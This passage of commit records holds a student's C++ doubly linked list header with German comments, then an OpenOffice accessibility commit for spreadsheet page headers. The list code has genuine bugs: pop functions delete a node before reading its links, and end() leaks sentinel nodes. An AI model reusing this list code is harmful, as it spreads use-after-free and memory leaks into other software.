}
}
void pop_back()
{
if(m_last != nullptr)
{
assert(m_last != nullptr); // makro
delete m_last;
m_last = m_last->m_prev;
--m_size;
}
}
void clear()
{
while(!empty())
{
pop_back();
}
}
T & front() const
{
return((*m_first).m_value);
}
T & back() const
{
return((*m_last).m_value);
}
iterator begin() const
{
iterator itr{m_first};
return (itr);
}
iterator end () const
{
iterator itr{m_last};
return (itr);
}
private :
std :: size_t m_size = 0;
ListNode <T>* m_first = nullptr ;
ListNode <T>* m_last = nullptr ;
};
template < typename T >
bool operator ==( List <T> const & xs , List <T > const & ys )
{
if(xs.size() != ys.size()){return false;}
else
{
ListIterator<T> x = xs.begin();
ListIterator<T> y = ys.begin();
while(x!= xs.end() and y!= ys.end())
{
if(*x != *y){return false;}
x++;
y++;
}
}
return true;
}
template < typename T >
bool operator !=( List <T > const & xs , List <T > const & ys )
{
return !(xs==ys);
}
# endif<commit_msg>Und wieder rissen alle Stricke. Und wieder war es Phils Code, der das Ruder reißen konnte. Ich werde mir seine iterator.end() einrahmen <3<commit_after># ifndef BUW_LIST_HPP
# define BUW_LIST_HPP
# include <iostream>//debug
# include <cstddef>
// List . hpp
template < typename T >
struct List ;
template < typename T >
struct ListNode
{
ListNode():
m_value(), m_prev(nullptr), m_next(nullptr) {}
ListNode(T const& v, ListNode *prev, ListNode *next ):
m_value(v), m_prev(prev), m_next (next) {}
T m_value ;
ListNode * m_prev ;
ListNode * m_next ;
};
template < typename T >
struct ListIterator
{
typedef ListIterator <T> Self ;
typedef T value_type ;
typedef T * pointer ;
typedef T & reference ;
typedef ptrdiff_t difference_type ;
typedef std::forward_iterator_tag iterator_category ;
friend class List <T>;
ListIterator(): m_node{nullptr} {}
ListIterator( ListNode <T> *n ): m_node{n} {}
reference operator* () const
{
return m_node->m_value;
}
pointer operator ->() const
{
return *m_node;
}
Self & operator ++()
{
m_node = m_node -> m_next;
return *this;
}
Self operator ++( int )
{
m_node = m_node -> m_next;
return *this;
}
bool operator ==( const Self & x ) const
{
return m_node == x.m_node;
}
bool operator !=( const Self & x ) const
{
return m_node != x.m_node;
}
Self next () const
{
if (m_node) return ListIterator (m_node -> m_next);
else return ListIterator (nullptr);
}
private :
ListNode <T> *m_node = nullptr ;
};
template < typename T >
struct ListConstIterator
{
friend class List <T >;
public :
// not implemented yet
private :
ListNode <T >* m_node = nullptr ;
};
template < typename T >
class List
{
public :
typedef T value_type ;
typedef T * pointer ;
typedef const T * const_pointer ;
typedef T & reference ;
typedef const T & const_reference ;
typedef ListIterator <T > iterator ;
typedef ListConstIterator <T > const_iterator ;
friend class ListIterator <T >;
friend class ListConstIterator <T >;
List(): m_size{0}, m_first {nullptr}, m_last {nullptr}{};
//erste idee: List(): m_size{origin.size()}, m_first {origin.m_first}, m_last {origin.m_last}{}; <- wäre aber keine kope sondern verknüpfung
List(List<T> const& origin): m_size{0},m_first {nullptr}, m_last {nullptr}
{
for(auto i = origin.begin(); i!= origin.end() ; i++)
{
push_back(*i);
}
}
~List()
{
clear();
}
bool empty () const
{
return m_size == 0;
}
std :: size_t size () const
{
return m_size;
}
void push_front(T const& val)
{
if(empty())
{
m_first = new ListNode<T>{val, nullptr, nullptr};
m_last = m_first;
}
else
{
ListNode <T>* newFirst = new ListNode<T>{val, nullptr , m_first};
m_first = newFirst ;
m_first->m_next->m_prev=m_first;
}
++m_size;
}
void push_back(T const & val)
{
if(empty())
{
m_first = new ListNode<T>{val, nullptr, nullptr};
m_last = m_first;
}
else
{
ListNode <T>* newLast= new ListNode<T>{val, m_last , nullptr };
m_last = newLast;
m_last->m_prev->m_next=m_last;
}
++m_size;
}
void pop_front()
{
if(m_first != nullptr)
{
assert(m_first != nullptr); // makro
delete m_first;
m_first = m_first->m_next;
--m_size;
}
}
void pop_back()
{
if(m_last != nullptr)
{
assert(m_last != nullptr); // makro
delete m_last;
m_last = m_last->m_prev;
--m_size;
}
}
void clear()
{
while(!empty())
{
pop_back();
}
}
T & front() const
{
return((*m_first).m_value);
}
T & back() const
{
return((*m_last).m_value);
}
iterator begin() const
{
iterator itr{m_first};
return (itr);
}
iterator end () const
{
if(empty())
{
return nullptr; //fals leer
}else if (m_last->m_next == nullptr) // nach dem letzten element? !SOLLTE MAN DAS nicht schon im pushback habe...
{
ListNode<T>* node = new ListNode<T> (); //leeres node
node->m_prev = m_last;
m_last->m_next = node;
return node;
} else { //letztes element exist bereits!
return m_last->m_next;
}
}
private :
std :: size_t m_size = 0;
ListNode <T>* m_first = nullptr ;
ListNode <T>* m_last = nullptr ;
};
template < typename T >
bool operator ==( List <T> const & xs , List <T > const & ys )
{
if(xs.size() != ys.size()){return false;}
else
{
ListIterator<T> x = xs.begin();
ListIterator<T> y = ys.begin();
while(x!= xs.end() and y!= ys.end())
{
if(*x != *y){return false;}
x++;
y++;
}
}
return true;
}
template < typename T >
bool operator !=( List <T > const & xs , List <T > const & ys )
{
return !(xs==ys);
}
# endif<|endoftext|>
|
<commit_before>/*************************************************************************
*
* $RCSfile: AccessiblePageHeader.cxx,v $
*
* $Revision: 1.7 $
*
* last change: $Author: sab $ $Date: 2002-05-31 08:06:59 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#include "AccessiblePageHeader.hxx"
#ifndef _SC_ACCESSIBLEPAGEHEADERAREA_HXX
#include "AccessiblePageHeaderArea.hxx"
#endif
#include "prevwsh.hxx"
#include "unoguard.hxx"
#include "miscuno.hxx"
#include "prevloc.hxx"
#ifndef SC_DOCUMENT_HXX
#include "document.hxx"
#endif
#ifndef SC_STLPOOL_HXX
#include "stlpool.hxx"
#endif
#ifndef SC_ITEMS_HXX
#include "scitems.hxx"
#endif
#ifndef SC_SCATTR_HXX
#include "attrib.hxx"
#endif
#include <drafts/com/sun/star/accessibility/AccessibleRole.hpp>
#include <drafts/com/sun/star/accessibility/AccessibleStateType.hpp>
#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEEVENTID_HPP_
#include <drafts/com/sun/star/accessibility/AccessibleEventId.hpp>
#endif
#include <vcl/window.hxx>
#include <svtools/smplhint.hxx>
#include <unotools/accessiblestatesethelper.hxx>
#ifndef _SFXSTYLE_HXX
#include <svtools/style.hxx>
#endif
#ifndef _SFXITEMPOOL_HXX
#include <svtools/itempool.hxx>
#endif
#ifndef _EDITOBJ_HXX
#include <svx/editobj.hxx>
#endif
#include <algorithm>
using namespace ::com::sun::star;
using namespace ::drafts::com::sun::star::accessibility;
const sal_uInt8 MAX_AREAS = 3;
//===== internal ============================================================
struct Acquire
{
void operator() (ScAccessiblePageHeaderArea* pArea)
{
if (pArea)
pArea->acquire();
}
};
struct Release
{
void operator() (ScAccessiblePageHeaderArea*& pArea)
{
if (pArea)
pArea->release();
pArea = NULL;
}
};
ScAccessiblePageHeader::ScAccessiblePageHeader( const ::com::sun::star::uno::Reference<
::drafts::com::sun::star::accessibility::XAccessible>& rxParent,
ScPreviewShell* pViewShell, sal_Bool bHeader, sal_Int32 nIndex ) :
ScAccessibleContextBase( rxParent, bHeader ? AccessibleRole::HEADER : AccessibleRole::FOOTER ),
mpViewShell( pViewShell ),
mnIndex( nIndex ),
mbHeader( bHeader ),
maAreas(MAX_AREAS, NULL),
mnChildCount(-1)
{
if (mpViewShell)
mpViewShell->AddAccessibilityObject(*this);
}
ScAccessiblePageHeader::~ScAccessiblePageHeader()
{
if (!ScAccessibleContextBase::IsDefunc() && !rBHelper.bInDispose)
{
// increment refcount to prevent double call off dtor
osl_incrementInterlockedCount( &m_refCount );
dispose();
}
}
void SAL_CALL ScAccessiblePageHeader::disposing()
{
if (mpViewShell)
{
mpViewShell->RemoveAccessibilityObject(*this);
mpViewShell = NULL;
}
std::for_each(maAreas.begin(), maAreas.end(), Release());
ScAccessibleContextBase::disposing();
}
//===== SfxListener =====================================================
void ScAccessiblePageHeader::Notify( SfxBroadcaster& rBC, const SfxHint& rHint )
{
if (rHint.ISA( SfxSimpleHint ) )
{
const SfxSimpleHint& rRef = (const SfxSimpleHint&)rHint;
// only notify if child exist, otherwise it is not necessary
if ((rRef.GetId() == SC_HINT_DATACHANGED))
{
ScHFAreas aOldAreas(maAreas);
std::for_each(aOldAreas.begin(), aOldAreas.end(), Acquire());
sal_Int32 nOldCount(mnChildCount);
mnChildCount = -1;
getAccessibleChildCount();
for (sal_uInt8 i = 0; i < MAX_AREAS; ++i)
{
if ((aOldAreas[i] && maAreas[i] && !ScGlobal::EETextObjEqual(aOldAreas[i]->GetEditTextObject(), maAreas[i]->GetEditTextObject())) ||
(aOldAreas[i] && !maAreas[i]) || (!aOldAreas[i] && maAreas[i]))
{
if (aOldAreas[i])
{
AccessibleEventObject aEvent;
aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;
aEvent.Source = uno::Reference< XAccessible >(this);
aEvent.OldValue = uno::makeAny(uno::Reference<XAccessible>(aOldAreas[i]));
CommitChange(aEvent); // child gone - event
}
if (maAreas[i])
{
AccessibleEventObject aEvent;
aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;
aEvent.Source = uno::Reference< XAccessible >(this);
aEvent.NewValue = uno::makeAny(uno::Reference<XAccessible>(maAreas[i]));
CommitChange(aEvent); // new child - event
}
}
}
std::for_each(aOldAreas.begin(), aOldAreas.end(), Release());
}
}
ScAccessibleContextBase::Notify(rBC, rHint);
}
//===== XAccessibleComponent ============================================
uno::Reference< XAccessible > SAL_CALL ScAccessiblePageHeader::getAccessibleAt( const awt::Point& aPoint )
throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
uno::Reference<XAccessible> xRet;
// return the first with content, because they have all the same Bounding Box
sal_uInt8 i(0);
while(!xRet.is() && i < MAX_AREAS)
{
if (maAreas[i])
xRet = maAreas[i];
else
++i;
}
return xRet;
}
void SAL_CALL ScAccessiblePageHeader::grabFocus() throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
if (getAccessibleParent().is())
{
uno::Reference<XAccessibleComponent> xAccessibleComponent(getAccessibleParent()->getAccessibleContext(), uno::UNO_QUERY);
if (xAccessibleComponent.is())
xAccessibleComponent->grabFocus();
}
}
//===== XAccessibleContext ==============================================
sal_Int32 SAL_CALL ScAccessiblePageHeader::getAccessibleChildCount() throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
if((mnChildCount < 0) && mpViewShell)
{
mnChildCount = 0;
ScDocument* pDoc = mpViewShell->GetDocument();
if (pDoc)
{
// find out how many regions (left,center, right) are with content
SfxStyleSheetBase* pStyle = pDoc->GetStyleSheetPool()->Find(pDoc->GetPageStyle(mpViewShell->GetLocationData().GetPrintTab()), SFX_STYLE_FAMILY_PAGE);
if (pStyle)
{
sal_uInt16 nPageWhichId(0);
if (mbHeader)
nPageWhichId = mpViewShell->GetLocationData().IsHeaderLeft() ? ATTR_PAGE_HEADERLEFT : ATTR_PAGE_HEADERRIGHT;
else
nPageWhichId = mpViewShell->GetLocationData().IsFooterLeft() ? ATTR_PAGE_FOOTERLEFT : ATTR_PAGE_FOOTERRIGHT;
const ScPageHFItem& rPageItem = static_cast<const ScPageHFItem&>(pStyle->GetItemSet().Get(nPageWhichId));
AddChild(rPageItem.GetLeftArea(), 0, SVX_ADJUST_LEFT);
AddChild(rPageItem.GetCenterArea(), 1, SVX_ADJUST_CENTER);
AddChild(rPageItem.GetRightArea(), 2, SVX_ADJUST_RIGHT);
}
}
}
return mnChildCount;
}
uno::Reference< XAccessible > SAL_CALL ScAccessiblePageHeader::getAccessibleChild( sal_Int32 nIndex )
throw (lang::IndexOutOfBoundsException, uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
uno::Reference<XAccessible> xRet;
//! ...
if ( !xRet.is() )
throw lang::IndexOutOfBoundsException();
return xRet;
}
sal_Int32 SAL_CALL ScAccessiblePageHeader::getAccessibleIndexInParent() throw (uno::RuntimeException)
{
return mnIndex;
}
uno::Reference< XAccessibleRelationSet > SAL_CALL ScAccessiblePageHeader::getAccessibleRelationSet()
throw (uno::RuntimeException)
{
//! missing
return NULL;
}
uno::Reference< XAccessibleStateSet > SAL_CALL ScAccessiblePageHeader::getAccessibleStateSet()
throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
uno::Reference<XAccessibleStateSet> xParentStates;
if (getAccessibleParent().is())
{
uno::Reference<XAccessibleContext> xParentContext = getAccessibleParent()->getAccessibleContext();
xParentStates = xParentContext->getAccessibleStateSet();
}
utl::AccessibleStateSetHelper* pStateSet = new utl::AccessibleStateSetHelper();
if (IsDefunc(xParentStates))
pStateSet->AddState(AccessibleStateType::DEFUNC);
else
{
pStateSet->AddState(AccessibleStateType::ENABLED);
pStateSet->AddState(AccessibleStateType::OPAQUE);
if (isShowing())
pStateSet->AddState(AccessibleStateType::SHOWING);
if (isVisible())
pStateSet->AddState(AccessibleStateType::VISIBLE);
}
return pStateSet;
}
//===== XServiceInfo ====================================================
rtl::OUString SAL_CALL ScAccessiblePageHeader::getImplementationName() throw(uno::RuntimeException)
{
return rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("ScAccessiblePageHeader"));
}
uno::Sequence<rtl::OUString> SAL_CALL ScAccessiblePageHeader::getSupportedServiceNames()
throw(uno::RuntimeException)
{
uno::Sequence< ::rtl::OUString > aSequence = ScAccessibleContextBase::getSupportedServiceNames();
sal_Int32 nOldSize(aSequence.getLength());
aSequence.realloc(nOldSize + 1);
::rtl::OUString* pNames = aSequence.getArray();
pNames[nOldSize] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("drafts.com.sun.star.text.AccessibleHeaderFooterView"));
return aSequence;
}
//==== internal =========================================================
::rtl::OUString SAL_CALL ScAccessiblePageHeader::createAccessibleDescription(void)
throw (uno::RuntimeException)
{
return rtl::OUString::createFromAscii( mbHeader ?
"This is a header in a page preview of a Spreadsheet Document." :
"This is a footer in a page preview of a Spreadsheet Document." );
}
::rtl::OUString SAL_CALL ScAccessiblePageHeader::createAccessibleName(void)
throw (uno::RuntimeException)
{
return rtl::OUString::createFromAscii( mbHeader ?
"Spreadsheet Page Preview Header" : "Spreadsheet Page Preview Footer" );
}
Rectangle ScAccessiblePageHeader::GetBoundingBoxOnScreen() const throw (uno::RuntimeException)
{
Rectangle aCellRect(GetBoundingBox());
if (mpViewShell)
{
Window* pWindow = mpViewShell->GetWindow();
if (pWindow)
{
Rectangle aRect = pWindow->GetWindowExtentsRelative(NULL);
aCellRect.setX(aCellRect.getX() + aRect.getX());
aCellRect.setY(aCellRect.getY() + aRect.getY());
}
}
return aCellRect;
}
Rectangle ScAccessiblePageHeader::GetBoundingBox() const throw (uno::RuntimeException)
{
Rectangle aRect;
if (mpViewShell)
{
const ScPreviewLocationData& rData = mpViewShell->GetLocationData();
if ( mbHeader )
rData.GetHeaderPosition( aRect );
else
rData.GetFooterPosition( aRect );
}
return aRect;
}
sal_Bool ScAccessiblePageHeader::IsDefunc( const uno::Reference<XAccessibleStateSet>& rxParentStates )
{
return ScAccessibleContextBase::IsDefunc() || (mpViewShell == NULL) || !getAccessibleParent().is() ||
(rxParentStates.is() && rxParentStates->contains(AccessibleStateType::DEFUNC));
}
void ScAccessiblePageHeader::AddChild(const EditTextObject* pArea, sal_uInt32 nIndex, SvxAdjust eAdjust)
{
if (pArea && (pArea->GetText(0).Len() || (pArea->GetParagraphCount() > 1)))
{
if (maAreas[nIndex])
{
if (!ScGlobal::EETextObjEqual(maAreas[nIndex]->GetEditTextObject(), pArea))
{
maAreas[nIndex]->release();
++mnChildCount;
maAreas[nIndex] = new ScAccessiblePageHeaderArea(this, mpViewShell, pArea, mbHeader, eAdjust);
maAreas[nIndex]->acquire();
}
}
else
{
++mnChildCount;
maAreas[nIndex] = new ScAccessiblePageHeaderArea(this, mpViewShell, pArea, mbHeader, eAdjust);
maAreas[nIndex]->acquire();
}
}
else
{
if (maAreas[nIndex])
{
maAreas[nIndex]->release();
maAreas[nIndex] = NULL;
}
}
}
<commit_msg>#99771#; make change recognition and notification work<commit_after>/*************************************************************************
*
* $RCSfile: AccessiblePageHeader.cxx,v $
*
* $Revision: 1.8 $
*
* last change: $Author: sab $ $Date: 2002-07-04 11:55:59 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#include "AccessiblePageHeader.hxx"
#ifndef _SC_ACCESSIBLEPAGEHEADERAREA_HXX
#include "AccessiblePageHeaderArea.hxx"
#endif
#include "prevwsh.hxx"
#include "unoguard.hxx"
#include "miscuno.hxx"
#include "prevloc.hxx"
#ifndef SC_DOCUMENT_HXX
#include "document.hxx"
#endif
#ifndef SC_STLPOOL_HXX
#include "stlpool.hxx"
#endif
#ifndef SC_ITEMS_HXX
#include "scitems.hxx"
#endif
#ifndef SC_SCATTR_HXX
#include "attrib.hxx"
#endif
#include <drafts/com/sun/star/accessibility/AccessibleRole.hpp>
#include <drafts/com/sun/star/accessibility/AccessibleStateType.hpp>
#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEEVENTID_HPP_
#include <drafts/com/sun/star/accessibility/AccessibleEventId.hpp>
#endif
#include <vcl/window.hxx>
#include <svtools/smplhint.hxx>
#include <unotools/accessiblestatesethelper.hxx>
#ifndef _SFXSTYLE_HXX
#include <svtools/style.hxx>
#endif
#ifndef _SFXITEMPOOL_HXX
#include <svtools/itempool.hxx>
#endif
#ifndef _EDITOBJ_HXX
#include <svx/editobj.hxx>
#endif
#include <algorithm>
using namespace ::com::sun::star;
using namespace ::drafts::com::sun::star::accessibility;
const sal_uInt8 MAX_AREAS = 3;
//===== internal ============================================================
struct Acquire
{
void operator() (ScAccessiblePageHeaderArea* pArea)
{
if (pArea)
pArea->acquire();
}
};
struct Release
{
void operator() (ScAccessiblePageHeaderArea*& pArea)
{
if (pArea)
pArea->release();
}
};
struct Dispose
{
void operator() (ScAccessiblePageHeaderArea*& pArea)
{
if (pArea)
{
pArea->dispose();
pArea->release();
}
pArea = NULL;
}
};
ScAccessiblePageHeader::ScAccessiblePageHeader( const ::com::sun::star::uno::Reference<
::drafts::com::sun::star::accessibility::XAccessible>& rxParent,
ScPreviewShell* pViewShell, sal_Bool bHeader, sal_Int32 nIndex ) :
ScAccessibleContextBase( rxParent, bHeader ? AccessibleRole::HEADER : AccessibleRole::FOOTER ),
mpViewShell( pViewShell ),
mnIndex( nIndex ),
mbHeader( bHeader ),
maAreas(MAX_AREAS, NULL),
mnChildCount(-1)
{
if (mpViewShell)
mpViewShell->AddAccessibilityObject(*this);
}
ScAccessiblePageHeader::~ScAccessiblePageHeader()
{
if (!ScAccessibleContextBase::IsDefunc() && !rBHelper.bInDispose)
{
// increment refcount to prevent double call off dtor
osl_incrementInterlockedCount( &m_refCount );
dispose();
}
}
void SAL_CALL ScAccessiblePageHeader::disposing()
{
if (mpViewShell)
{
mpViewShell->RemoveAccessibilityObject(*this);
mpViewShell = NULL;
}
std::for_each(maAreas.begin(), maAreas.end(), Dispose());
ScAccessibleContextBase::disposing();
}
//===== SfxListener =====================================================
void ScAccessiblePageHeader::Notify( SfxBroadcaster& rBC, const SfxHint& rHint )
{
if (rHint.ISA( SfxSimpleHint ) )
{
const SfxSimpleHint& rRef = (const SfxSimpleHint&)rHint;
// only notify if child exist, otherwise it is not necessary
if ((rRef.GetId() == SC_HINT_DATACHANGED))
{
ScHFAreas aOldAreas(maAreas);
std::for_each(aOldAreas.begin(), aOldAreas.end(), Acquire());
sal_Int32 nOldCount(mnChildCount);
mnChildCount = -1;
getAccessibleChildCount();
for (sal_uInt8 i = 0; i < MAX_AREAS; ++i)
{
if ((aOldAreas[i] && maAreas[i] && !ScGlobal::EETextObjEqual(aOldAreas[i]->GetEditTextObject(), maAreas[i]->GetEditTextObject())) ||
(aOldAreas[i] && !maAreas[i]) || (!aOldAreas[i] && maAreas[i]))
{
if (aOldAreas[i] && aOldAreas[i]->GetEditTextObject())
{
AccessibleEventObject aEvent;
aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;
aEvent.Source = uno::Reference< XAccessible >(this);
aEvent.OldValue = uno::makeAny(uno::Reference<XAccessible>(aOldAreas[i]));
CommitChange(aEvent); // child gone - event
aOldAreas[i]->dispose();
}
if (maAreas[i] && maAreas[i]->GetEditTextObject())
{
AccessibleEventObject aEvent;
aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;
aEvent.Source = uno::Reference< XAccessible >(this);
aEvent.NewValue = uno::makeAny(uno::Reference<XAccessible>(maAreas[i]));
CommitChange(aEvent); // new child - event
}
}
}
std::for_each(aOldAreas.begin(), aOldAreas.end(), Release());
}
}
ScAccessibleContextBase::Notify(rBC, rHint);
}
//===== XAccessibleComponent ============================================
uno::Reference< XAccessible > SAL_CALL ScAccessiblePageHeader::getAccessibleAt( const awt::Point& aPoint )
throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
uno::Reference<XAccessible> xRet;
sal_Int32 nCount(getAccessibleChildCount()); // fill the areas
if (nCount)
{
// return the first with content, because they have all the same Bounding Box
sal_uInt8 i(0);
while(!xRet.is() && i < MAX_AREAS)
{
if (maAreas[i])
xRet = maAreas[i];
else
++i;
}
}
return xRet;
}
void SAL_CALL ScAccessiblePageHeader::grabFocus() throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
if (getAccessibleParent().is())
{
uno::Reference<XAccessibleComponent> xAccessibleComponent(getAccessibleParent()->getAccessibleContext(), uno::UNO_QUERY);
if (xAccessibleComponent.is())
xAccessibleComponent->grabFocus();
}
}
//===== XAccessibleContext ==============================================
sal_Int32 SAL_CALL ScAccessiblePageHeader::getAccessibleChildCount() throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
if((mnChildCount < 0) && mpViewShell)
{
mnChildCount = 0;
ScDocument* pDoc = mpViewShell->GetDocument();
if (pDoc)
{
// find out how many regions (left,center, right) are with content
SfxStyleSheetBase* pStyle = pDoc->GetStyleSheetPool()->Find(pDoc->GetPageStyle(mpViewShell->GetLocationData().GetPrintTab()), SFX_STYLE_FAMILY_PAGE);
if (pStyle)
{
sal_uInt16 nPageWhichId(0);
if (mbHeader)
nPageWhichId = mpViewShell->GetLocationData().IsHeaderLeft() ? ATTR_PAGE_HEADERLEFT : ATTR_PAGE_HEADERRIGHT;
else
nPageWhichId = mpViewShell->GetLocationData().IsFooterLeft() ? ATTR_PAGE_FOOTERLEFT : ATTR_PAGE_FOOTERRIGHT;
const ScPageHFItem& rPageItem = static_cast<const ScPageHFItem&>(pStyle->GetItemSet().Get(nPageWhichId));
AddChild(rPageItem.GetLeftArea(), 0, SVX_ADJUST_LEFT);
AddChild(rPageItem.GetCenterArea(), 1, SVX_ADJUST_CENTER);
AddChild(rPageItem.GetRightArea(), 2, SVX_ADJUST_RIGHT);
}
}
}
return mnChildCount;
}
uno::Reference< XAccessible > SAL_CALL ScAccessiblePageHeader::getAccessibleChild( sal_Int32 nIndex )
throw (lang::IndexOutOfBoundsException, uno::RuntimeException)
{
ScUnoGuard aGuard;
IsObjectValid();
uno::Reference<XAccessible> xRet;
//! ...
if ( !xRet.is() )
throw lang::IndexOutOfBoundsException();
return xRet;
}
sal_Int32 SAL_CALL ScAccessiblePageHeader::getAccessibleIndexInParent() throw (uno::RuntimeException)
{
return mnIndex;
}
uno::Reference< XAccessibleRelationSet > SAL_CALL ScAccessiblePageHeader::getAccessibleRelationSet()
throw (uno::RuntimeException)
{
//! missing
return NULL;
}
uno::Reference< XAccessibleStateSet > SAL_CALL ScAccessiblePageHeader::getAccessibleStateSet()
throw (uno::RuntimeException)
{
ScUnoGuard aGuard;
uno::Reference<XAccessibleStateSet> xParentStates;
if (getAccessibleParent().is())
{
uno::Reference<XAccessibleContext> xParentContext = getAccessibleParent()->getAccessibleContext();
xParentStates = xParentContext->getAccessibleStateSet();
}
utl::AccessibleStateSetHelper* pStateSet = new utl::AccessibleStateSetHelper();
if (IsDefunc(xParentStates))
pStateSet->AddState(AccessibleStateType::DEFUNC);
else
{
pStateSet->AddState(AccessibleStateType::ENABLED);
pStateSet->AddState(AccessibleStateType::OPAQUE);
if (isShowing())
pStateSet->AddState(AccessibleStateType::SHOWING);
if (isVisible())
pStateSet->AddState(AccessibleStateType::VISIBLE);
}
return pStateSet;
}
//===== XServiceInfo ====================================================
rtl::OUString SAL_CALL ScAccessiblePageHeader::getImplementationName() throw(uno::RuntimeException)
{
return rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("ScAccessiblePageHeader"));
}
uno::Sequence<rtl::OUString> SAL_CALL ScAccessiblePageHeader::getSupportedServiceNames()
throw(uno::RuntimeException)
{
uno::Sequence< ::rtl::OUString > aSequence = ScAccessibleContextBase::getSupportedServiceNames();
sal_Int32 nOldSize(aSequence.getLength());
aSequence.realloc(nOldSize + 1);
::rtl::OUString* pNames = aSequence.getArray();
pNames[nOldSize] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("drafts.com.sun.star.text.AccessibleHeaderFooterView"));
return aSequence;
}
//==== internal =========================================================
::rtl::OUString SAL_CALL ScAccessiblePageHeader::createAccessibleDescription(void)
throw (uno::RuntimeException)
{
return rtl::OUString::createFromAscii( mbHeader ?
"This is a header in a page preview of a Spreadsheet Document." :
"This is a footer in a page preview of a Spreadsheet Document." );
}
::rtl::OUString SAL_CALL ScAccessiblePageHeader::createAccessibleName(void)
throw (uno::RuntimeException)
{
return rtl::OUString::createFromAscii( mbHeader ?
"Spreadsheet Page Preview Header" : "Spreadsheet Page Preview Footer" );
}
Rectangle ScAccessiblePageHeader::GetBoundingBoxOnScreen() const throw (uno::RuntimeException)
{
Rectangle aCellRect(GetBoundingBox());
if (mpViewShell)
{
Window* pWindow = mpViewShell->GetWindow();
if (pWindow)
{
Rectangle aRect = pWindow->GetWindowExtentsRelative(NULL);
aCellRect.setX(aCellRect.getX() + aRect.getX());
aCellRect.setY(aCellRect.getY() + aRect.getY());
}
}
return aCellRect;
}
Rectangle ScAccessiblePageHeader::GetBoundingBox() const throw (uno::RuntimeException)
{
Rectangle aRect;
if (mpViewShell)
{
const ScPreviewLocationData& rData = mpViewShell->GetLocationData();
if ( mbHeader )
rData.GetHeaderPosition( aRect );
else
rData.GetFooterPosition( aRect );
}
return aRect;
}
sal_Bool ScAccessiblePageHeader::IsDefunc( const uno::Reference<XAccessibleStateSet>& rxParentStates )
{
return ScAccessibleContextBase::IsDefunc() || (mpViewShell == NULL) || !getAccessibleParent().is() ||
